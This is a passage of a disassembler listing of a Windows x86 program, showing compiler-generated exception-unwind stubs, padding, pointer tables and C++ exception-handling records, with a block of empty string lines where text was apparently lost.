; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_402031
; ---------------------------------------------------------------------------
loc_43B708: ; DATA XREF: ___:00441A64o
mov ecx, [ebp-10h]
add ecx, 11h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 26h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 3Bh
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 64h
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_4264C0 proc near ; DATA XREF: sub_4264C0+2o
mov eax, offset dword_441A38
jmp sub_4367C8
SEH_4264C0 endp
; ---------------------------------------------------------------------------
db 12h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_402031
; ---------------------------------------------------------------------------
loc_43B758: ; DATA XREF: ___:00441AB4o
mov ecx, [ebp-10h]
add ecx, 11h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 26h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 3Bh
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 64h
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_426560 proc near ; DATA XREF: sub_426560+2o
mov eax, offset dword_441A88
jmp sub_4367C8
SEH_426560 endp
; ---------------------------------------------------------------------------
db 12h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_4266A0 proc near ; DATA XREF: sub_4266A0+2o
mov eax, offset dword_441AD8
jmp sub_4367C8
SEH_4266A0 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_4014C4
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_4269A0 proc near ; DATA XREF: sub_4269A0+2o
mov eax, offset dword_441B08
jmp sub_4367C8
SEH_4269A0 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_426A60 proc near ; DATA XREF: sub_426A60+2o
mov eax, offset dword_441B38
jmp sub_4367C8
SEH_426A60 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_4014C4
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_426EB0 proc near ; DATA XREF: sub_426EB0+2o
mov eax, offset dword_441B68
jmp sub_4367C8
SEH_426EB0 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_426F70 proc near ; DATA XREF: sub_426F70+2o
mov eax, offset dword_441B98
jmp sub_4367C8
SEH_426F70 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_4014C4
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_427590 proc near ; DATA XREF: sub_427590+2o
mov eax, offset dword_441BC8
jmp sub_4367C8
SEH_427590 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_427650 proc near ; DATA XREF: sub_427650+2o
mov eax, offset dword_441BF8
jmp sub_4367C8
SEH_427650 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_40179E
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_427DC0 proc near ; DATA XREF: sub_427DC0+2o
mov eax, offset dword_441C28
jmp sub_4367C8
SEH_427DC0 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_402031
; ---------------------------------------------------------------------------
loc_43B8A8: ; DATA XREF: ___:00441C84o
mov ecx, [ebp-10h]
add ecx, 11h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 26h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 43h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 58h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 6Dh
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_427E30 proc near ; DATA XREF: sub_427E30+2o
mov eax, offset dword_441C58
jmp sub_4367C8
SEH_427E30 endp
; ---------------------------------------------------------------------------
db 17h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_402031
; ---------------------------------------------------------------------------
loc_43B908: ; DATA XREF: ___:00441CDCo
mov ecx, [ebp-10h]
add ecx, 11h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 26h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 43h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 58h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 6Dh
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_427EF0 proc near ; DATA XREF: sub_427EF0+2o
mov eax, offset dword_441CB0
jmp sub_4367C8
SEH_427EF0 endp
; ---------------------------------------------------------------------------
db 17h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
jmp sub_40179E
; ---------------------------------------------------------------------------
loc_43B968: ; DATA XREF: ___:00441D34o
mov ecx, [ebp-28h]
add ecx, 0A1h
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_428160 proc near ; DATA XREF: sub_428160+2o
mov eax, offset dword_441D08
jmp sub_4367C8
SEH_428160 endp
; ---------------------------------------------------------------------------
db 18h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-53ECh]
jmp sub_4014B0
; ---------------------------------------------------------------------------
loc_43B9AB: ; DATA XREF: ___:00441D74o
lea ecx, [ebp-5490h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-5474h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-5274h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-528Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-525Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-537Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-5334h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-522Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-5304h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-5244h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-52D4h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-545Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-5444h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-541Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-5404h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-52A4h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-5364h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-534Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-531Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-52ECh]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-52BCh]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43BA92: ; DATA XREF: sub_4282C0+8o
mov eax, offset dword_441D48
jmp sub_4367C8
; ---------------------------------------------------------------------------
db 44h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_40179E
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_4299C0 proc near ; DATA XREF: sub_4299C0+2o
mov eax, offset dword_441E30
jmp sub_4367C8
SEH_4299C0 endp
; ---------------------------------------------------------------------------
align 10h
mov eax, [ebp-10h]
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
pop ecx
retn
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_429AA0 proc near ; DATA XREF: sub_429AA0+2o
mov eax, offset dword_441E60
jmp sub_4367C8
SEH_429AA0 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_40179E
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_429D00 proc near ; DATA XREF: sub_429D00+2o
mov eax, offset dword_441E90
jmp sub_4367C8
SEH_429D00 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_40179E
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_42A090 proc near ; DATA XREF: sub_42A090+2o
mov eax, offset dword_441EC0
jmp sub_4367C8
SEH_42A090 endp
; ---------------------------------------------------------------------------
align 10h
mov eax, [ebp-30h]
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
pop ecx
retn
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_42A150 proc near ; DATA XREF: sub_42A150+8o
mov eax, offset dword_441EF0
jmp sub_4367C8
SEH_42A150 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_42AEC0 proc near ; DATA XREF: sub_42AEC0+5o
mov eax, offset dword_441F20
jmp sub_4367C8
SEH_42AEC0 endp
; ---------------------------------------------------------------------------
align 10h
loc_43BB90: ; DATA XREF: ___:0042AFD5o
mov eax, offset dword_441F80
jmp sub_4367C8
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp+20h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43BBA8: ; DATA XREF: ___:0044200Co
lea ecx, [ebp+8]
jmp sub_401226
; ---------------------------------------------------------------------------
mov eax, [ebp-1A0h]
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
pop ecx
retn
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_42B060 proc near ; DATA XREF: sub_42B060+2o
mov eax, offset dword_441FE0
jmp sub_4367C8
SEH_42B060 endp
; ---------------------------------------------------------------------------
db 18h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 8
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_42B240 proc near ; DATA XREF: sub_42B240+2o
mov eax, offset dword_442020
jmp sub_4367C8
SEH_42B240 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_40179E
; ---------------------------------------------------------------------------
loc_43BC08: ; DATA XREF: ___:0042B2E2o
mov eax, offset dword_442050
jmp sub_4367C8
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_40179E
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_42B480 proc near ; DATA XREF: sub_42B480+2o
mov eax, offset dword_442080
jmp sub_4367C8
SEH_42B480 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_40179E
; ---------------------------------------------------------------------------
mov eax, offset dword_4420B0
jmp sub_4367C8
; ---------------------------------------------------------------------------
align 10h
mov eax, [ebp-30h]
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
pop ecx
retn
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_42B880 proc near ; DATA XREF: sub_42B880+8o
mov eax, offset dword_4420E0
jmp sub_4367C8
SEH_42B880 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_42BB70 proc near ; DATA XREF: sub_42BB70+2o
mov eax, offset dword_442110
jmp sub_4367C8
SEH_42BB70 endp
; ---------------------------------------------------------------------------
db 16h dup(0CCh)
; ---------------------------------------------------------------------------
mov eax, [ebp+4]
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
mov eax, [ebp+4]
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
mov eax, [ebp+4]
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
mov eax, [ebp+4]
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-74h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-70h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43BD84: ; DATA XREF: ___:0042BE68o
mov eax, offset dword_442168
jmp sub_4367C8
; ---------------------------------------------------------------------------
db 32h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_4347B0 proc near ; DATA XREF: sub_4347B0+2o
mov eax, offset dword_442250
jmp sub_4367C8
SEH_4347B0 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-168Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43BDEB: ; DATA XREF: ___:004422B4o
lea ecx, [ebp-16A4h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43BDF6: ; DATA XREF: ___:004348A8o
mov eax, offset dword_442288
jmp sub_4367C8
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_4351E0 proc near ; DATA XREF: sub_4351E0+2o
mov eax, offset dword_4422C0
jmp sub_4367C8
SEH_4351E0 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_4355E0 proc near ; DATA XREF: sub_4355E0+2o
mov eax, offset dword_4422F0
jmp sub_4367C8
SEH_4355E0 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-128h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-128h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-128h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-128h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-128h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-128h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-128h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-128h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-128h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-128h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_4356F0 proc near ; DATA XREF: sub_4356F0+8o
mov eax, offset dword_442328
jmp sub_4367C8
SEH_4356F0 endp
; ---------------------------------------------------------------------------
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db ''
db '',0
align 4
dd 3E3h dup(0)
off_43E000 dd offset sub_4017C6 ; DATA XREF: sub_4036D0+3FEo
off_43E004 dd offset byte_4367D0 ; DATA XREF: sub_403C70+2o
off_43E008 dd offset off_402009 ; DATA XREF: sub_406BA0+2o sub_406C00o
off_43E00C dd offset sub_4021F8 ; DATA XREF: ___:00407075o
off_43E010 dd offset loc_402171 ; DATA XREF: sub_409AE0+4o
; sub_409B40+Bo ...
off_43E014 dd offset loc_402027 ; DATA XREF: sub_40ADC0+2o
; sub_40AE10+1Co
dd offset byte_4367D0
align 10h
off_43E020 dd offset loc_401ACD ; DATA XREF: ___:0040B118o
; sub_40B170+1Eo
flt_43E024 dd 1.0 ; DATA XREF: ___:0040B7C6r
off_43E028 dd offset sub_401A3C ; DATA XREF: sub_40F600+157o
; sub_40FDA0+1Do
dd offset sub_40212B
dd 0
off_43E034 dd offset sub_401AB9 ; DATA XREF: sub_40F600+142o
; sub_40FDA0+23o
off_43E038 dd offset loc_40115E ; DATA XREF: sub_411860+36o
; sub_411910+1Do
dd offset loc_401FE6
dd 0
off_43E044 dd offset sub_4014BF ; DATA XREF: ___:0041318Do
; sub_413220+1Fo
dd offset sub_401CF8
align 10h
off_43E050 dd offset sub_4019BF ; DATA XREF: sub_416C00+6o
; sub_417DF0+8o
dd offset sub_4020A9
dd 0
off_43E05C dd offset loc_401C99 ; DATA XREF: sub_416C60+6o
; sub_417E20+8o
dd offset sub_401230
align 8
off_43E068 dd offset loc_40191A ; DATA XREF: sub_416CC0o sub_41FBD0+8o
dd offset sub_401CDF
dd 0
off_43E074 dd offset sub_40111D ; DATA XREF: sub_416D10o
; sub_4190B0+36o
off_43E078 dd offset loc_4014A1 ; DATA XREF: sub_417BC0+68o
off_43E07C dd offset sub_401064 ; DATA XREF: sub_417C60+8Bo
off_43E080 dd offset sub_40138E ; DATA XREF: sub_417D30+74o
off_43E084 dd offset loc_401B6D ; DATA XREF: sub_417E50+7Bo
off_43E088 dd offset loc_40202C ; DATA XREF: sub_417F10+7Bo
off_43E08C dd offset loc_401F1E ; DATA XREF: sub_417FD0+3Eo
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS KEYPAD "+" TO EXPAND]
db 1Fh, 40h, 0
off_43E094 dd offset loc_401FD7 ; DATA XREF: sub_418080+3Eo
off_43E098 dd offset sub_401E4C ; DATA XREF: sub_418100+3Eo
off_43E09C dd offset loc_40100A ; DATA XREF: sub_418180+10o
off_43E0A0 dd offset loc_4010B4 ; DATA XREF: sub_4181B0+4Bo
off_43E0A4 dd offset sub_401BA4 ; DATA XREF: sub_418230+10o
off_43E0A8 dd offset sub_401712 ; DATA XREF: sub_418260+10o
off_43E0AC dd offset sub_401613 ; DATA XREF: sub_418290+6Bo
dbl_43E0B0 dq -3.0517578125e-5 ; DATA XREF: sub_4198C0+22r
dd 0
off_43E0BC dd offset sub_401AF5 ; DATA XREF: sub_41A010+Bo
; sub_41A110+6o
off_43E0C0 dd offset sub_401E74 ; DATA XREF: sub_41AFE0+Do sub_41B040o
off_43E0C4 dd offset sub_4013FC ; DATA XREF: ___:0041B3A2o
; ___:0041B48Do
dd offset sub_40167C
align 10h
off_43E0D0 dd offset loc_4019E7 ; DATA XREF: sub_41D670+77o
; sub_41D760+1Do
dd offset sub_401C80
dd 0
off_43E0DC dd offset sub_4011FE ; DATA XREF: sub_426450+32o
dd offset sub_401A64
dd offset sub_401A41
dd 0
off_43E0EC dd offset loc_4016D1 ; DATA XREF: sub_4264C0+6Ao
; sub_426560+1Do
dd offset sub_401A64
dd offset byte_4367D0
dd 0
off_43E0FC dd offset loc_401AAF ; DATA XREF: sub_4269A0+32o
dd offset sub_401A64
dd offset sub_401366
dd 0
off_43E10C dd offset sub_40181B ; DATA XREF: sub_426EB0+32o
dd offset sub_401A64
dd offset sub_401E92
dd 0
off_43E11C dd offset sub_40222A ; DATA XREF: sub_427590+32o
dd offset sub_401A64
dd offset sub_401A05
dd 0
off_43E12C dd offset sub_401C2B ; DATA XREF: sub_427DC0+32o
dd offset sub_4021A8
dd offset sub_4015AF
dd 0
off_43E13C dd offset loc_402068 ; DATA XREF: sub_427E30+7Ao
; sub_427EF0+1Do
dd offset sub_4021A8
dd offset byte_4367D0
dd 0
off_43E14C dd offset sub_4021B2 ; DATA XREF: sub_428160+4Bo
; sub_428250+10o
dd offset sub_4021A8
dd offset sub_401D2A
dd 0
off_43E15C dd offset loc_40112C ; DATA XREF: sub_4299C0+32o
; sub_429A60+9o
dd offset sub_4021A8
dd offset sub_40137A
dd 0
off_43E16C dd offset loc_401B04 ; DATA XREF: sub_429D00+32o
dd offset sub_4021A8
dd offset sub_4010AF
dd 0
off_43E17C dd offset sub_4017A8 ; DATA XREF: sub_42A090+32o
dd offset sub_4021A8
dd offset sub_40188E
dd 0
off_43E18C dd offset sub_4020D1 ; DATA XREF: sub_42B1D0+27o
dword_43E190 dd 0 dd 8, 0
off_43E19C dd offset byte_4367D0 ; DATA XREF: sub_42B240+39o
off_43E1A0 dd offset sub_401F41 ; DATA XREF: ___:0042B312o
dd offset sub_4021A8
dd offset sub_40134D
align 10h
off_43E1B0 dd offset sub_401B22 ; DATA XREF: sub_42B480+32o
dd offset sub_4021A8
dd offset sub_40152D
align 10h
dd offset loc_4015F0
dd offset sub_4021A8
dd offset sub_4019E2
align 10h
dd offset dword_43E348
off_43E1D4 dd offset loc_436811 ; DATA XREF: ___:off_4438B0o
; ___:off_4438D0o ...
dd 0FFFFFFFFh, 436BACh, 436BC0h, 4Dh dup(0)
off_43E318 dd offset off_446CD0 ; DATA XREF: ___:0043E330o
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_43E318
dd 0
db 0 ; DATA XREF: ___:0043E358o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 1, 43E330h
dword_43E348 dd 3 dup(0) dd offset off_446CD0
dd offset unk_43E338
dd 45h dup(0)
dword_43E470 dd 19930520h, 5, 43E490h, 5 dup(0) dd 0FFFFFFFFh, 437B2Ch, 0
dd offset dword_436FCC+0B34h
dd 1, 437B0Bh, 2, 437B16h, 3, 437B21h, 2 dup(0)
dword_43E4C0 dd 19930520h, 3Dh, 43E4E0h, 5 dup(0) dd 0FFFFFFFFh, 437B70h, 0
dd offset loc_437B7B
dd 1, 437B86h, 2, 437B94h, 3, 437BA2h, 4, 437BB0h, 5, 437BBEh
dd 6, 437BCCh, 7, 437BDAh, 8, 437BE8h, 9, 437BF6h, 0Ah
dd 437C04h, 0Bh, 437C12h, 0Ch, 437C20h, 0Dh, 437C2Eh, 0Eh
dd 437C3Ch, 0Fh, 437C4Ah, 10h, 437C58h, 11h, 437C66h, 12h
dd 437C74h, 13h, 437C82h, 14h, 437C90h, 15h, 437C9Eh, 16h
dd 437CACh, 17h, 437CBAh, 18h, 437CC8h, 19h, 437CD6h, 1Ah
dd 437CE4h, 1Bh, 437CF2h, 1Ch, 437D00h, 1Dh, 437D0Eh, 1Eh
dd 437D1Ch, 1Fh, 437D2Ah, 20h, 437D38h, 21h, 437D46h, 22h
dd 437D54h, 23h, 437D62h, 24h, 437D70h, 25h, 437D7Eh, 26h
dd 437D8Ch, 27h, 437D9Ah, 28h, 437DA8h, 29h, 437DB6h, 2Ah
dd 437DC4h, 2Bh, 437DD2h, 2Ch, 437DE0h, 2Dh, 437DEEh, 2Eh
dd 437DFCh, 2Fh, 437E0Ah, 30h, 437E18h, 31h, 437E26h, 32h
dd 437E34h, 33h, 437E42h, 34h, 437E50h, 35h, 437E5Eh, 36h
dd 437E6Ch, 37h, 437E7Ah, 38h, 437E88h, 39h, 437E96h, 3Ah
dd 437EA4h, 3Bh, 437EB2h, 0Eh dup(0)
dword_43E700 dd 19930520h, 1, 43E720h, 5 dup(0) dd 0FFFFFFFFh, 437FA0h, 2 dup(0)
dword_43E730 dd 19930520h, 2, 43E750h, 5 dup(0) dd 0FFFFFFFFh, 437FC0h, 0
dd offset loc_437FC8
dd 2 dup(0)
dword_43E768 dd 19930520h, 2, 43E788h, 5 dup(0) dd 0FFFFFFFFh, 437FF0h, 0
dd offset loc_437FF8
align 10h
dword_43E7A0 dd 19930520h, 1, 43E7C0h, 5 dup(0) dd 0FFFFFFFFh, 438020h, 2 dup(0)
dword_43E7D0 dd 19930520h, 7, 43E7F0h, 5 dup(0) dd 0FFFFFFFFh, 438040h, 0
dd offset loc_438048
dd 1, 438053h, 2, 438061h, 3, 43806Fh, 4, 43807Dh, 5, 43808Bh
dd 2 dup(0)
dword_43E830 dd 19930520h, 7, 43E850h, 5 dup(0) dd 0FFFFFFFFh, 4380C0h, 0
dd offset loc_4380C8
dd 1, 4380D3h, 2, 4380E1h, 3, 4380EFh, 4, 4380FDh, 5, 43810Bh
dd 2 dup(0)
dword_43E890 dd 19930520h, 11h, 43E8B0h, 5 dup(0) dd 0FFFFFFFFh, 438140h, 0FFFFFFFFh, 438148h, 0FFFFFFFFh
dd 438150h, 0FFFFFFFFh, 438158h, 0FFFFFFFFh, 438160h, 0FFFFFFFFh
dd 438168h, 0FFFFFFFFh, 438170h, 0FFFFFFFFh, 438178h, 0FFFFFFFFh
dd 438180h, 0FFFFFFFFh, 438188h, 0FFFFFFFFh, 438190h, 0FFFFFFFFh
dd 438198h, 0FFFFFFFFh, 4381A0h, 0FFFFFFFFh, 4381A8h, 0FFFFFFFFh
dd 4381B0h, 0Eh, 4381B8h, 0Eh, 4381C0h, 4 dup(0)
dword_43E948 dd 19930520h, 0Bh, 43E968h, 5 dup(0) dd 0FFFFFFFFh, 438200h, 0
dd offset loc_438208
dd 0FFFFFFFFh, 438210h, 2, 438218h, 0FFFFFFFFh, 438220h
dd 0FFFFFFFFh, 438228h, 0FFFFFFFFh, 438230h, 0FFFFFFFFh
dd 438238h, 7, 438243h, 7, 43824Bh, 9, 438253h, 4 dup(0)
dword_43E9D0 dd 19930520h, 31h, 43E9F0h, 5 dup(0) dd 0FFFFFFFFh, 438280h, 0
dd offset loc_43828B
dd 0
dd offset loc_438296
dd 0FFFFFFFFh, 4382A1h, 0FFFFFFFFh, 4382ACh, 4, 4382B7h
dd 0FFFFFFFFh, 4382C2h, 6, 4382CDh, 6, 4382D8h, 8, 4382E3h
dd 0FFFFFFFFh, 4382EEh, 0Ah, 4382F9h, 0Ah, 438304h, 0Ah
dd 43830Fh, 0Ah, 43831Ah, 0Ah, 438325h, 0Ah, 438330h, 0FFFFFFFFh
dd 43833Bh, 11h, 438346h, 11h, 438351h, 0FFFFFFFFh, 43835Ch
dd 0FFFFFFFFh, 438367h, 15h, 438372h, 0FFFFFFFFh, 43837Dh
dd 0FFFFFFFFh, 438388h, 18h, 438393h, 0FFFFFFFFh, 43839Eh
dd 0FFFFFFFFh, 4383A9h, 0FFFFFFFFh, 4383B4h, 0FFFFFFFFh
dd 4383BFh, 1Dh, 4383CAh, 1Dh, 4383D5h, 1Dh, 4383E0h, 1Dh
dd 4383EBh, 1Dh, 4383F6h, 22h, 438401h, 22h, 43840Ch, 22h
dd 438417h, 22h, 438422h, 22h, 43842Dh, 22h, 438438h, 22h
dd 438443h, 22h, 43844Eh, 22h, 438459h, 22h, 438464h, 22h
dd 43846Fh, 22h, 43847Ah, 22h, 438485h, 22h, 438490h, 0Ch dup(0)
dword_43EBA8 dd 19930520h, 2, 43EBC8h, 5 dup(0) dd 0FFFFFFFFh, 438538h, 0
dd offset loc_438530
align 10h
dword_43EBE0 dd 19930520h, 2, 43EC00h, 5 dup(0) dd 0FFFFFFFFh, 43857Bh, 0
dd offset loc_438570
dd 2 dup(0)
dword_43EC18 dd 19930520h, 3, 43EC38h, 5 dup(0) dd 0FFFFFFFFh, 4385B0h, 0
dd offset loc_4385BB
dd 0
dd offset loc_4385C6
dd 2 dup(0)
